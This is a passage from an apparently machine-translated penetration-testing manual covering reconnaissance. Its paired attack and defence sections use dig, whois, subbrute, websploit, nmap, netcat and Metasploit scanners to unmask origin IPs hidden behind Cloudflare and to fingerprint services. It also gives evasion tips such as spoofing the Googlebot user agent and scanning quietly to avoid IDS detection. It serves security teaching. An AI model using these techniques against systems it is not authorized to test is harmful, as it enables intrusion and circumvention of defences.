requests but not other ICMP requests.
4.2.3 DNS Lookup

Along the lines of what has been said previously, it is possible to obtain the list of DNS records
of a domain, thus exposing further information (such as the MX record from which emails are
sent and received).
This time the request is made through the DNS servers; It is important to know that, for the
services to function properly, the records cannot be obscured, so it is not possible to obscure
the results.
Attack: DNS Lookup

DEMO simulation; Tool: host, dig
Make sure the host program is installed correctly:

$ apt install host
Then you can launch the program as follows:

$ host hacklog.it
The system will respond with:
hacklog.it has address 104.28.5.97 hacklog.it has address
104.28.4.97
hacklog.it has IPv6 address 2400: cb00: 2048: 1 :: 681c: 561 hacklog.it has IPv6 address 2400: cb00: 2048:
1 :: 681c: 461 hacklog.it mail is handled by 0 dc-de2f481295cf.hacklog. it.
In this case we are given 2 IP addresses (as we are used to seeing them, called "IPv4") and
two IPv6 addresses; in addition, there is a host that takes care of managing the emails. That
might be a good place to start for real hosting.
There are those who prefer to use the command dig to get the records as more elastic. If you haven't
installed it yet you can do it with:
$ apt install dig
So, to retrieve the records of a domain (for example those of the email, also called MX 45 ) you
can use the command dig [url] MX, as in the example:
$ dig hacklog.it MX
A result similar to the following will follow:

;; QUESTION SECTION:
; hacklog.it. IN MX
;; ANSWER SECTION:
hacklog.it. 300 IN MX 0 dc-

de2f481295cf.hacklog.it.
;; Query time: 37 msec
;; SERVER: 192.168.0.1 # 53 (192.168.0.1)
;; WHEN: Tue Mar 06 11:53:30 CET 2018 ;; MSG SIZE rcvd: 71
4.2.4 Whois IP
In chapter 4.1.1 we saw how it is possible to trace the data of a domain by performing a whois
lookup; this technique can also be "adopted" by requesting a whois targeting an IP address.
Unlike the host, the IP responds with the data of the Registrant who is responsible for the IP
address: in shared hosting, this will therefore be associated with the company that provides the
web space.
Attack: Whois IP
DEMO simulation; Tool: ping, whois
Let's run a test:

$ ping wikipedia.org
64 bytes from text-lb.esams.wikimedia.org (91.198.174.192): icmp_seq = 1 ttl = 63 time = 41.3 ms
Let's now do a whois to the relative IP address:

$ whois 91.198.174.192
The system will reply to us with the information of the hosting company / web farm
or, as in this case, the owner who hosts the server directly from his own infrastructure:
organization: ORG-WFI2-RIPE
org-name: Wikimedia Foundation, Inc.
org-type: LIR
address: 1 Montgomery Street
Suite 1600
address: CA 94104
address: San Francisco
address: UNITED STATES
...
However, this can be misleading for most known portals; between hosting, VPS and Reverse
Proxy it is almost impossible to immediately obtain the IP address of the machine.
4.3 Intermediate Infrastructures

The techniques described allow to obtain the IP address that responds to a domain; however,
this may not be the real server address, as many are increasingly relying on Reverse Proxy.
Web hosting companies - to save on hardware costs - run multiple web servers within the
same machine: with intermediate infrastructure we therefore refer to all those systems faced
with the resolution of the real IP address of the machine, whether they are Firewalls, CDN,
Reverse Proxy, Load Balancers and so on.
4.3.1 Reverse Proxy Check

One of the simplest ways to realize that the IP address is not that of the machine is to make
requests directly to the IP. In the test domain in our possession - hacklog.it with IP address
104.28.5.97 - the answer will come from a well-known Reverse Proxy service (Cloudflare).
Attack: Reverse Proxy Check
DEMO simulation; Tool: whois
For example, we could directly load the IP address on our browser (Figure 4.1) or make a
whois directly at the address:
$ whois 104.28.5.97
NetRange: 104.16.0.0 - 104.31.255.255
CIDR: 104.16.0.0/12
NetName: CLOUDFLARENET
NetHandle: NET-104-16-0-0-1
Parent: NET104 (NET-104-0-0-0-0)
NetType: Direct Assignment
OriginAS: AS13335
Organization: Cloudflare, Inc. (CLOUD14)
...
In short, we are inundated with clues that make us understand that the system is protected by
Cloudflare. This can be bad news for the cyber-criminal: a system like Cloudflare has in fact
the task of securing a website, carrying out checks of all kinds and blocking (in part) the known
attack tests on web applications.
Although it is still possible to carry attacks on systems protected by Cloudflare and the like
(they are not able to block all techniques), the cyber-criminal would have every interest in
carrying out tests directly on the real IP address of the machine.
Here are some methods - known and unknown - to trace the real IP address of a web server
protected by a Cloudflare Reverse Proxy (but perfectly applicable also with other systems).
Figure 4.1: By accessing the IP address directly we will receive a warning. This will do us
understand that the web server is protected by a Reverse Proxy (Cloudflare).
Attack: Manual Common DNS Resolving

DEMO simulation
This type of "attack" is a classic example of misconfiguration 46 where the system administrator
leaves the DNS unchanged after the first installation; this is a serious setup error as all
Reverse Proxy services usually leave subdomains still pointing to the original IP address.
The reason behind this (apparently) questionable decision is the inability of many Reverse
Proxies to handle protocols outside HTTP and HTTPS.
By carrying out a first setup of the Reverse Proxy we notice how DNS records previously
managed by the hosting nameservers that offer the service are recommended. Since there is
no standard, it is possible to outline a list of common sub-domains of this type:
direct.victim.com
direct-connect.victim.com
ftp.victim.com
host.victim.com
mail.victim.com / webmail.victim.com / imap.victim.com /
smtp.victim.com
pop.victim.com / pop3.victim.com
cpanel.victim.com / panel.victim.com / webpanel.victim.com
admin.victim.com
test.victim.com
vnc.victim.com
The list however would be much longer and would take up more than 50 pages of this book;
moreover, manually pinging every single subdomain, then comparing it with the one obtained at the
beginning, would be pure madness!
You will happen, while reading this text, to find the term "Enumeration" on several occasions:
this identifies the process of extracting various information such as username, IP addresses,
plugins and everything that makes up the structure of a web portal, or more commonly, of a
computer system.
Attack: Common DNS Enumeration

DEMO simulation; Tool: subbrute
For an extremely detailed scan, I would recommend SubBrute, a bruteforcer of subdomains,

DNS records and much more. Since it may not be present in any GNU / Linux distribution it is
necessary to install it through the GIT command:
$ git clone https://github.com/nmalcolm/subbrute.git
$ cd subbrute
The program can then be evoked through the python interpreter, followed by the host to be
tested:
$ python subbrute.py hacklog.net
hacklog.net
0.hacklog.net
00.hacklog.net
000.hacklog.net
00000.hacklog.net
000000.hacklog.net
000999888.hacklog.net
000kkk.hacklog.net
001.hacklog.net
0011aaa.hacklog.net
0011cn.hacklog.net
001dd.hacklog.net
002.hacklog.net
An infinity of subdomains to test will follow; obviously we can command the tool to save the
results in a file (-o) or increase or decrease the processes (-c [n]) to facilitate the work. In the
example below, we will save the output to a file (dns.txt) and use 64 threads instead of 32:
$ python subbrute.py hacklog.net -o dns.txt -c 64
All the functions are described in the program help, accessible from the command:
$ python subbrute.py -h
Attack: Reverse Proxy Resolving

DEMO simulation; Tool: websploit
The following lab plans to determine, with some success, the IP address protected by
Cloudflare. To complete the test we will use
Websploit, an opensource framework for the detection of vulnerabilities on web portals from
which we will take a named module Cloudflare Resolver.
Although this is specifically meant for Cloudflare 47 inside it contains a database of several
pre-packaged DNS from which we were able to extract valid results for other services as well.
A brief demonstration of use will now follow.
First let's start websploit, simply evoking it with its name:
$ websploit
Once started we can load the module web / cloudflare_resolver with the command use ( to
know all the available modules we can use the command show modules), we will specify the
target (set) and start the exploit (run):
wsf> use web / cloudflare_resolver
wsf: CloudFlare Resolver> set target hacklog.net
TARGET => hacklog.net
wsf: CloudFlare Resolver> run
[-------------------------]
[+] Default IP Address: 104.28.5.97 [-------------------------]
[-] mail.hacklog.it: N / A [-] webmail.hacklog.it: N / A
[-] email.hacklog.it: N / A
[-] direct-connect-mail.hacklog.it: N / A [-] direct.hacklog.it: N / A
[-] direct-connect.hacklog.it: N / A [-] cpanel.hacklog.it: N / A
[+] ftp.hacklog.it: 89.40.172.66 [-] forum.hacklog.it: N / A
[-] blog.hacklog.it: N / A [-] m.hacklog.it: N / A [-]
dev.hacklog.it: N / A [-] record.hacklog.it: N / A [- ]
ssl.hacklog.it: N / A [-] dns.hacklog.it: N / A [-]
help.hacklog.it: N / A [-] ns.hacklog.it: N / A [-] ns1
.hacklog.it: N / A [-] ns2.hacklog.it: N / A

[-] ns3.hacklog.it: N / A [-] ns4.hacklog.it: N / A [-]
irc.hacklog.it: N / A [-] server.hacklog.it: N / A [- ]
status.hacklog.it: N / A [-] status.hacklog.it: N / A
[-] portal.hacklog.it: N / A [-] beta.hacklog.it: N / A
[-] admin .hacklog.it: N / A [-] imap.hacklog.it: N /
A [-] smtp.hacklog.it: N / A
In the event that the sysadmin has left one of the aforementioned subdomains clear, it will be possible
to trace the IP and proceed with the pentesting.
There are also a number of Cloudflare IP Resolvers proprietary, useful if you do not want to
leave a trace (or do not have the skills to do so). At present, some portals are available, among
which we mention:
- https://iphostinfo.com/cloudflare/
- http://cyber-hub.net/domain_resolver.php
- https://webresolver.nl/tools/cloudflare
- https://www.cuteseotools.net/cloudflare-resolver
- http://www.skypeipresolver.net/cloudflare.php
- https://mmoapi.com/cloudflare-ip-resolver
Defence: Reverse Proxy Resolving

DEMO simulation
All the techniques seen above consist in guessing the subdomain pointing to the correct IP
address. The sysadmin would do well not to expose the real IP address on the network, under
penalty of having to deal with security attacks on another platform which he will then have to
put in
Security (this topic, unfortunately, will not be addressed in this manual as it is out of context).
If you are using external Reverse Proxy services such as Cloudflare or similar (Figure 4.2) make
sure that the records do not give information on the alleged IP address: remember that,
commonly, these services protect the IP address only when resolving HTTP protocols (* and
www).
Figure 4.2: from the Reverse Proxy management panel (here Cloudflare) is recommended
remove references to records that are easy to predict.
Attack: DNS History

DEMO simulation
Fortunately over time the sysadmin / web masters have become aware of correct configuration
practices, so don't be surprised if you can't find the correct machine IP! However, there is the
possibility that the domain in the past was directly connected to the IP address of the machine:
in this case it may be useful to have a history of the past DNS, perhaps that have saved the IP
address of the server machine!
I'll tell you a few, unfortunately they are not perfect (especially on little visited websites) but they
are almost infallible if the site is at least 1 year old or is already present in search engines:
- https://toolbar.netcraft.com/site_report
- https://dnstrails.com
- https://dnshistory.org
- http://viewdns.info/iphistory/
- https://completedns.com/dns-history/
There are command line tools that can do for us (for example
https://github.com/vincentcox/bypass-firewalls-by- DNS-history) however I see no reason, at
least for this topic, to further bore the reader with yet another program.
Defence: DNS History

DEMO simulation
Unfortunately we cannot control external crawlers: by carrying out the above tests it is possible
that your machine's IP address will be exposed to the network. In these cases the simplest
solution is to request a new IP address from your host or to change the web solution directly
before running into unpleasant events.
4.3.2 Manual extrapolation of IPs

In addition to the commonly known DNS enumeration techniques, there are several
workarounds that make use of mixed techniques on websites that allow interaction with the
installed web application (I am referring in particular to forums, blogs and all those portals that
offer the possibility to "interact" with them).
For these tests we are going to examine some techniques on controlled environments - we will
not carry out tests locally or on live sites to avoid disclosure 48 vulnerability - however feel free to
install CMS on your own web server or hosting.
Attack: IP Extraction by Mail

DEMO simulation
If the web application uses the web server functions (in PHP the function is mail ()) for sending
mail will cause the IP address of the real server to be exposed.
It is possible to verify the IP by forcing the web application to send us an email (by registering
an account, recovering the password, obtaining a newsletter and so on) [Figure 4.3]; from our
trusted client we will then extract the original headers [Figure 4.4] [Figure 4.5] which contain all
the information relating to the email just received.
It is important to consider in this case that the headers could be different from web server to web
server, protocol version, CMS and a thousand other factors: it will therefore be necessary to have
a little patience and sift through the logs obtained within the RECEIVED variables ..
Figure 4.3: Register for a web application

Figure 4.4: you will receive an email from the web server; access the mail headers
Figure 4.5: from the headers you will get the IP address of the web server that sent you the email
Defence: IP Extraction by Mail

DEMO simulation
If the sending mail function is performed directly from the web app, it is likely that this exposes the
IP address directly in the source code: it is possible to prevent this from happening by entrusting
the sending to an external SMTP server created by itself, or by using one of the many external
services (for a fee and in some cases free of charge within certain limits) such as:
- https://mailchimp.com/
- https://www.mailjet.com/
- https://www.mailgun.com/
- https://sendgrid.com/
or using cloud services such as the excellent Amazon SES (https://aws.amazon.com/it/ses/) or

Google's Firebase Cloud Messaging (https://firebase.google.com/docs/cloud-messaging/ ).
Consider that many CMSs on the market allow you to connect to external SMTP servers: in
addition to ensuring greater protection, they are indicated to avoid (or limit) that the IP address
of your web hosting is considered spam.
Alternatively, you can use your own SMTP account created by free email services: these,
however, tend to limit the use and block abuse over a few dozen emails sent.
Attack: IP Extraction by Upload
DEMO simulation
The use of this technique involves the exploitation of an image uploader capable of retrieving
resources from external URLs.
Clearly it is first of all necessary that the web application supports loading within the web space
in which the site is hosted; made this premise it is necessary to have a IP Logger: on the net
there are several "Image IP Loggers" complete with PHP code capable of collecting and
storing IPs.
For convenience (and anonymity) you could choose to use external services such as IPlogger
(https://iplogger.org) that allow you to generate a random URL to be fed to the upload form
[Figure 4.6] [Figure 4.7].
Figure 4.6: Generate the image from IPlogger

Figure 4.7: in this case the IP address has been obtained
The key concept of this method is very simple: by uploading the external resource controlled
by us, the upload form generates an HTTP request to that resource. This is actually not a real
image, but a script with the extension JPG / PNG / GIF 49 which will be able to collect HTTP
HEADs
and, with it, the IP address that the web server communicates.
Regardless of the response we will receive (many web applications do a check not only on the
extension but also on the resolution, weight and obviously if it is a valid image) the HTTP
request will be sufficient to determine the real IP address of the site.
The following technique can also be used in other situations, for example attaching the image
in an email to find out the IP address. Interesting right?
Defence: IP Extraction by Upload

DEMO simulation
As with email, it would be worth moving resources to another server:

the programmer or the web master with his own CMS will find the relative documentation
regarding the possibility of using external hosts.
Alternatively, here too we recommend the use of external cloud services for putting static
resources online such as:
- Amazon S3 (https://s3.console.aws.amazon.com/s3/home)
- Google Cloud Storage (https://cloud.google.com/storage/)
- Microsoft Azure Storage (https://azure.microsoft.com/it-

it / services / storage /)
4.3.3 Host file

Were you able to find the real IP of the domain? Well, in this case you have the option to
bypass many of the problems that usually occur when faced with an intermediate server.
Having the IP address of the machine is not enough, especially when the portal to be tested shares its
space with other portals: it is therefore necessary to make the server believe that we are resolving the
domain concerned.
To do this we can map the domain to the IP address directly on our computer by editing the
hosts file:
$ nano / etc / hosts
Then we add the string to the end of the file as follows (the space between domain and IP is
usually assigned by the [TAB] key):
20.0.0.3 victim
20.0.0.4 metasploitable
From now on, connecting to victim and metasploitable (you can try typing http: // victim and
http: // metasploitable on your browser) the IP addresses of real machines will be resolved; if
these had had Reverse Proxies, in this way it is possible to bypass them for any future tests.
4.3.4 Advanced Protections

It is possible that, despite all the tests carried out, we could not find the IP address or that it is
impossible to obtain information from it. Some solutions to mitigate attacks that we will explain
are to limit the
server traffic to systems chosen by us ( whitelisting) or block traffic to specific systems ( blacklisting).
Defence: HTTP Whitelisting
DEMO simulation
The diagram we are going to analyze consists of a server, with the HTTP service active on port
80, configured to respond only and exclusively to the connected Reverse Proxy.
Whitelisting in this case can be done either with a firewall (in GNU / Linux this will be useful iptables
50 ) that through a simple configuration at the Web Server level, such as through a configuration
in. htaccess:
# If the IP address is from the Reverse Proxy
Allow from [IPReverseProxy1]
Allow from [IPReverseProxy2 address]
# If the IP address does not match
Deny From All
This method allows, even in the event that the IP of the server is discovered, to refuse any
connection outside of it.
Bypassing this system can be no easy task: the evolution of the various systems allows you to
receive security updates automatically, making use of different mitigation technologies without
too many worries.
Defence: SSH Whitelisting

DEMO simulation
The solution described above allows us to block all HTTP traffic; as we have already seen,
however, the Reverse Proxies we are used to block only and exclusively HTTP traffic, leaving
any other protocol neglected.
A system administrator may still block traffic outside:

- Its own IP address (if it has a static IP address, of course)
- The IP address of another server (in this case the system administrator should create an
SSH tunnel 51 to connect to it)
- The IP address of a VPN (in this case the system administrator should have a VPN with a static IP,
either his own or provided by a third party)
Whitelisting the SSH service allows you to secure the port from which you can directly access
the server; through this method, the cyber-criminal must first be able to breach one of the three
systems listed above.
Defence: Honeypot Blacklisting

DEMO simulation
It is well known that cyber-criminals hide their activities through various types of proxies: entire
databases of IP addresses considered malicious, often managed by services (Honeypots) that
collect records from samples of flirt websites put online specifically for thwart illegal activities.
A system administrator can decide to interface his own server or web application through one
of these Honeypots, so as to have an always updated list of IP addresses to be blocked for any
eventuality.
Among the most famous databases we find:
- Project Honeypot (https://www.projecthoneypot.org)
- MaxMind ( https://www.maxmind.com/en/high-risk-ip-sample-list)
- Spamhaus ( https://www.spamhaus.org/drop/drop.lasso)
- The CINS Army List ( http://cinsscore.com/list/ci-badguys.txt)
- blocklist.de ( https://lists.blocklist.de/lists/all.txt)
- Greensnow ( http://blocklist.greensnow.co/greensnow.txt)
- Stopforumspam ( http://stopforumspam.com)
- TOR Project, to block access from TOR ( https://torproject.org)
- Akismet ( https://akismet.com)
In addition, all those portals, search engines and crawlers (such as the Inforge proxy list 52 ) who
collect hundreds of anonymizing proxies every day ready to be used even by some attackers.
Some scripts on the net allow you to automate the blocking of IP addresses by taking the
above services as sources. One of these is IPset-blacklist
(https://github.com/trick77/ipset-blacklist) and is capable of self-configuring on an unlimited
number of servers through IPtables, the firewall built into the Linux kernel.
Defence: Geoblocking
DEMO simulation
On the false line of IP blocking the system administrator can decide to block requests from
specific countries that they consider unreliable. The choice to block one or more countries is at
the discretion of the sysadmin, moreover it is not possible to say with certainty that the traffic
coming from a specific country is illegal.
Geo-blocking is possible at both the server level and the web application level; this function is
usually also provided by the various Reverse Proxies and is the best thing to do if we have one
available.
There are also online generators 53 to create a list of IP addresses to be blocked through the
web server configurations.
Defence: User Agent Block

DEMO simulation
Although it is less and less common, some sysadmins, more specifically the protection
systems they install, block the User Agents deemed malicious.
The User Agent summarizes some information about the client making the request: in the case
of a Browser, it can communicate the type of browser, the model and the Operating System in
use; at other times it may use poor or "standardized" information based on the framework /
programming language that was used to design a program.
I find it partly useless to block User Agents as many of the tools here
presented allow you to spoof the latter, thus making any protection in this regard ineffective.
You will find on the net some excellent self-configuring scripts including kilometric lists of
"bad-bots" to be blocked: a good starting point is undoubtedly Ultimate Bad Bot Blocker, available
for both Apache 54 than for nginx 55 .
Advanced note: some web servers are configured to block many user agents but at the same
time to pass those of Search Engines. Some web masters in fact believe that the spiders of a
Search Engine should not find closed roads, therefore it could be effective to spoof the user
agent of your tool using one of the following strings: Googlebot, Bingbot, Slurp, DuckDuckBot,
Baiduspider, YandexBot, facebot, ia_archiver .
Defence: WAF, IDS and Scenarios
DEMO simulation
Using a Web Application Firewall acts as a Reverse Proxy and allows you to filter and
recognize potential common attacks against Web Servers and Web Applications. WAFs can be
found in various forms such as libraries, framework extensions or Web Server modules
(among these we mention ModSecurity 56 , Open-source project).
Similarly a IDS ( Intrusion Detection System) can guarantee good protection against attacks
against web applications: it is possible to draw on
some notions base since now deceased PHPIDS
(https://github.com/PHPIDS/PHPIDS) or from more recent Expose
(https://github.com/enygma/expose). Alternatively, it is recommended to develop your own
basic applications using Framework - Lavarel 57 , Symfony 58 ,
CodeIgniter 59 , CakePHP 60 , Zend 61 - updated and already (almost completely) safe development.
We will also see a basic use of Snort, great IDS available for the GNU / Linux world.
From the next chapter on, this manual will deal with less "good" techniques for the victim
system, which could become suspicious by activating integrated protection systems (such as
IDS, Firewall and so on). This manual is not intended, and does not intend, to replace a good
training course on the safety of
a server in its entirety, rather than showing some of the most common flaws on the web. The security of a
server is quite another thing, it requires more extensive knowledge on current technologies and
(probably) a single book would not be enough to indicate them all.
Similarly, even the cyber-criminal knows of the presence of some tools aimed at mitigating
cyber attacks in the bud; however, these are constantly evolving and it is not our intention here
to separate them in order to identify flaws and vulnerabilities, incorrect configurations or
particular technologies.
Having said this, it is likely that, despite the fact that the IP address of the victim has been
extrapolated, the victim refuses to respond to one or many methods presented or that we will see
shortly: the reasons are to be found in the defenses applied by sysadmin through fixes or correct
practices configuration.
It is therefore necessary to remind the reader that there is no magic wand to violate a web
portal but, on the contrary, fortunately there are many ways to secure a portal, therefore it will
be rare to be able to apply any method described here as per the manual on an already
operational website. (otherwise, it would have already been hacked).
4.4 Active Services

The chapter we are going to face analyzes techniques and tools to determine the active services
in the victim machine: it is good to remember that the following manual concerns the World Wide
Web and, therefore, in-depth test phases on services other than the one we are interested in will
be ignored.
With services we therefore refer to all those programs, installed on a server, to which it is
possible to connect to perform certain actions such as browsing the site, sending mail, uploading
or downloading files and so on. Each service uses a protocol to communicate and uses one of
the many ports available on the network interface.
Remember that verifying the active services on a Server, and more generally carrying out
scans and enumerations, can cause the Server to be unable to respond to requests (in the
event that, for example, they are flooded with multiple requests).
4.4.1 Determine the active ports
It is very important for a cyber-criminal to know which services are active, so as to create a
better profile of the victim machine and launch targeted attacks without making a network
administrator or IDS suspicious. This part is called Portscan.
Attack: Port Scan

DEMO simulation
We have already seen the use of Nmap but we have not talked about its great potential:
among these it is offered the possibility to test a host on any type of protocol.
In the course of this chapter we will analyze only one type of scan, which is the SYN TCP: this
is the most reliable and fastest way to verify most of the active services on a server. For more
information view
https://it.wikipedia.org/wiki/Port_scanning
Let's see how this is possible:

$ nmap -sS scanme.nmap.org
The command launched makes use of a single parameter (-sS) which establishes a type of scan
based on the SYN TCP method, followed by the host to be scanned. The result will be roughly
the following:
Starting Nmap 7.40 (https://nmap.org) at 2018-03-07 16:36 CET Nmap scan report for scanme.nmap.org
(45.33.32.156) Host is up (4.1s latency).
Other addresses for scanme.nmap.org (not scanned): 2600: 3c01 :: f03c: 91ff: fe18: bb2f
Not shown: 996 closed ports PORT
STATE SERVICE
22 / tcp open ssh
80 / tcp open http
9929 / tcp open nping-echo

31337 / tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds
The results will demonstrate the number of open doors, the type and the active service on the door.
In certain cases it can be useful save the results inside a file, to be retrieved later The
command in this case will want the -o parameter, followed by the filename as in the following
example:
$ nmap -sS scanme.nmap.org -o nmap-results.txt
The method seen above makes use of some default ports; however, this can alarm the IDS
and throw us out of the game!
In certain situations it can be useful scan only a specific port,

ignoring all the others; in this case the -p parameter is used followed by the port number, as in
the example:
$ nmap -sS -p 80 scanme.nmap.org
However, Nmap's behavior could be intercepted by a victim defense system; where it is

necessary to minimize the traces left, it is possible to perform a three-way TCP scan (the
so-called three-way handshake), significantly slower but necessary if the victim host decides to
refuse to respond to Nmap's SYN TCP requests.
This task can be entrusted to netcat, the swiss army knife of TCP / IP networks already
pre-installed in any UNIX system. Let's see how it works with an example:
$ nc -z -v -w3 scanme.nmap.org 1-500
scanme.nmap.org [45.33.32.156] 80 (http) open scanme.nmap.org [45.33.32.156]
22 (ssh) open
In this way:
- z, set the "scan doors" mode 62
- v, set verbose mode (useful for seeing program progress)
- w3, set the program scan time (where [3] are the seconds)
1-500, indicates the range of doors to be tested

Attack: Port Scan (Metasploit)
Metasploitable simulation
Our first approach with Metasploit (the Framework) and Metasploitable (the victim machine)
starts here. The first thing we're going to do is open msfconsole, a command line tool that
allows us to interact with Metasploit:
$ msfconsole
Once the tool is started we will have "msf>" as a line prefix, so that we know that we are
working inside the program.
With Metasploitable we can interact with nmap: it is also possible to save the data obtained
from the target and manipulate them later with Metasploit (the parameter will be -oA). Let's run
a scan against metasploitable:
msf> nmap -v -sV 20.0.0.3 -oA metasploitable
Alternatively we can replace nmap with db_nmap and omit the parameters
- oA:
msf> db_nmap -v -sV 20.0.0.3 metasploitable
Feel free to try all the combinations previously described with nmap. You should also know that
Metasploit Framework integrates additional scanners within it, for more information visit the
official documentation 63 .
On any occasion you can recall the list of services with the command:
msf> services
or if you need more details on a specific service:

msf> services -p [portnumber] -c name, port, proto
eg:
msf> services -p 80 -c name, port, proto
4.4.2 Determine the Operating System
Part of the success of a cyber attack is knowing which Operating System is installed on the
Server you intend to test; knowing the Operating System allows us to have a clearer idea of the
environment in which we will find ourselves and therefore to anticipate the commands to be
used, the directory structure, the specific vulnerabilities on the active services of that Operating
System and so on.
Also for the identification of the OS there are different approaches; there are those who prefer, in
order to avoid leaving further traces, to cross-check the number of open ports and the active
services.
An example is detecting port 139 with NetBIOS active which could mean that the active
operating system is Windows. Another example would be the use of NFS port 2049, often
associated with UNIX machines. In any case, these are only conjectures, especially in
consideration of the constant evolution that the Operating Systems are undergoing as regards
also the support for proprietary or once exclusive technologies. 64 .
All is not lost: thanks to the power of Nmap we are able to extrapolate stack fingerprinting 65 , a
method that crosses different variants following the modifications (and related documentation,
see RFCs) on the ports in use; this allows us to automate the controls, making more precise
assumptions about the current operating system.
Attack: OS Detection
DEMO simulation; Tool: nmap
The parameter to use with Nmap in this case is -O:

$ sudo nmap -O scanme.nmap.org
Starting Nmap 7.60 (https://nmap.org) at 2018-03-13 12:00 CET
...
Aggressive OS guesses: Linux 4.0 (94%), Linux 4.4 (94%), Linux 3.10 (93%), Linux 3.10 - 3.12 (93%), Linux 2.6.32 (91%),
Linux 3.11 -
4.1 (90%), Linux 3.4 (90%), Linux 3.5 (90%), Linux 4.2 (90%), Synology DiskStation Manager 5.1 (90%)
No exact OS matches for host (test conditions non-ideal).
...
The reports may be more or less exact: in the event that it is not able to identify the OS with
certainty, Nmap will still provide a list of probable OSs sorted by probability.
Do you prefer the graphical interface? With Zenmap you will have a GUI with profiles
of scan already ready to use. For info:
https://nmap.org/zenmap/
The reliability of the results is however given by how many ports are listening on the system: if
we do not have results, Nmap could refuse to give us an answer on the matter: for more
information it is advisable to launch the Nmap manual or to visit the page on the official
reference site 66 .
Attack: OS Detection (MSF)

Metasploitable simulation; Tool: nmap
As seen previously we can use Metasploit to use nmap and try to know the OS in use by the
victim machine. From the car attacker lanciamomsfconsole:
$ msfconsole
The test will be carried out on the machine metasploitable , so the command will be:
msf> sudo nmap -v -O 20.0.0.4 -oA metasploitable
[*] exec: sudo nmap -v -O 20.0.0.4 -oA metasploitable
. . . 3.92s elapsed
Initiating SYN Stealth Scan at 16:55 Scanning 20.0.0.4 [1000
ports]
...
Completed SYN Stealth Scan at 16:55, 1.49s elapsed (1000 total ports)
Initiating OS detection (try # 1) against 20.0.0.4

...
Nmap scan report for 20.0.0.4 Host is up (0.00029s
latency). Not shown: 977 closed ports PORT
STATE SERVICE
...
MAC Address: 08: 00: 27: 4B: C3: B1 (Oracle VirtualBox virtual NIC) Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe: / o: linux: linux_kernel: 2.6
OS details: Linux 2.6.9 - 2.6.33
...
Note that in this case we used sudo (administrator privileges), depending on what nmap
requires to work.
4.4.3 Determine the Web Server

One of the most basic methods of correctly identifying a web server is through the Banner
Grabbing, literally capture the banner: banner is identified as the output that the server offers
following a simple request to a listening TCP / IP port on the server.
Attack: Web Server Detection

DEMO simulation; Tool: netcat
Opening a simple request is always possible via netcat; we proceed to launch the command as
follows:
$ nc -v scanme.nmap.org 80
found 0 associations
found 1 connections:
1: flags = 82 <CONNECTED, PREFERRED>
...
The command just launched will show the results directly on the screen (verbose mode, via the
-v parameter) on the indicated host (scanme.nmap.org) and on port 80. We press [ENTER]
again to obtain a 400-type response from the Web Server:
HTTP / 1.1 400 Bad Request
Date: Tue, 13 Mar 2018 11:45:28 GMT Server: Apache / 2.4.7
(Ubuntu)
Content-Length: 306
Connection: close
Content-Type: text / html; charset = iso-8859-1
...
In this case we get the HTTP protocol version (1.1) and the Web Server with relative version
(2.4.7) on a machine with Ubuntu GNU / Linux installed.
Advanced note: if you are familiar with Web Server you will know that there are several
response "states", called "HTTP status codes". In our case, error 400 stands for Bad Request,
this is because we actually created an empty connection to the HTTP protocol. Among the
most famous status codes are 404 Not Found and 503 Service Unavailable (when the server
fails to respond to requests). These other status codes are documented below
page:
https://it.wikipedia.org/wiki/Codici_di_stato_HTTP
Attack: Web Server Detection (MSF)

Metasploitable simulation; Tool: metasploit
With Metasploitable it is possible not only to use third party programs but also modules
integrated in it. Following a port scan against the victim machine, we obtained a list of
information, including active services. One of these is HTTP, available at port 80. We can
therefore search among the metasploit modules for something that allows us to establish the
version of the Web Server through this port. From the car attacker :
msf> search http_version
Matching Modules
================
Name Disclosure Date Rank

Description
---- ------------------- --
---------
auxiliary / scanner / http / http_version normal

HTTP Version Detection
Once the module has been identified we can load it through the use command:
msf> use auxiliary / scanner / http / http_version
The prefix "msf>" will expand with the name of the chosen module (scanner / http /
http_version). In order to use the module it is first important to configure it, then we show the
possible configurations with the show options command:
msf auxiliary ( scanner / http / http_version )> show options
Module options (auxiliary / scanner / http / http_version):
Name Current Setting Required Description
---- --------------------------------
Proxies no A proxy chain of ..
RHOSTS yes The target ...
RPORT 80 yes The target port
SSL false no Negotiate SSL ...
THREADS 1 yes The number of ....
VHOST no HTTP server ...
Each module needs the "Required" value to be filled in; in this case, RHOSTS is required but
lacking in value. We will then use the use command to set it (the IP will be that of the machine metasploitable
):
msf auxiliary (scanner / http / http_version )> RHOSTS 20.0.0.4 set
We conclude by running the module with the run command:

msf auxiliary ( scanner / http / http_version )> run
[+] 20.0.0.4:80 Apache / 2.2.8 (Ubuntu) DAV / 2 (Powered by PHP / 5.2.4- 2ubuntu5.10)
[*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution
completed
Attack: DBMS Detection (MSF)

Metasploitable simulation; Tool: metasploit
Along the lines of what we saw with the web server, let's determine the model and version of
the DBMS in use: among the active services we have mysql on port 3306, by default the one
used by the DBMS to listen for any connections [Figure 4.7a].
Figure 4.7a: from the previous scan we know that mysql is active on port 3306
From the car attacker , through command search we find the module that is right for us:
msf> search mysql_version
Matching Modules
================
Name Disclosure Date Rank Description
auxiliary / scanner / mysql / mysql_version normal MySQL Server Version Enumeration
As seen we will have to select the module through the command use:
msf> use auxiliary / scanner / mysql / mysql_version
Let's now show the configurable options with the command show options:
msf auxiliary ( scanner / mysql / mysql_version )> show options
Module options (auxiliary / scanner / mysql / mysql_version):
Name Current Setting Required Description
---- --------------------------------
RHOSTS yes The target address range or

CIDR identifier
RPORT 3306 yes The target port (TCP) The number of
THREADS 1 yes concurrent

threads
We will specify the machine HOST metasploitable ( command set), then we will launch the module
( run):
msf auxiliary ( scanner / mysql / mysql_version )> RHOSTS 20.0.0.4 set
RHOSTS => 20.0.0.4
msf auxiliary ( scanner / mysql / mysql_version )> run
[+] 20.0.0.4:3306 - 20.0.0.4:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution
completed
After a few seconds the module will be able to determine the version of MySQL in use.
It is important to note that any method of determining a version of a service can change the
result obtained. For more specificity see chapter 8.4, where sqlmap will be used to make a
more accurate determination.
Defence: Scan Detection (IDS)

DEMO simulation
Mitigating a multi-pronged scan can be a daunting task if you don't have the necessary skills.
The different possible scenarios do not allow us to accurately determine the possible solutions
to the countless problems, therefore we believe that, if you are a beginner, the most useful
advice we can give is to rely on solutions Managed server,
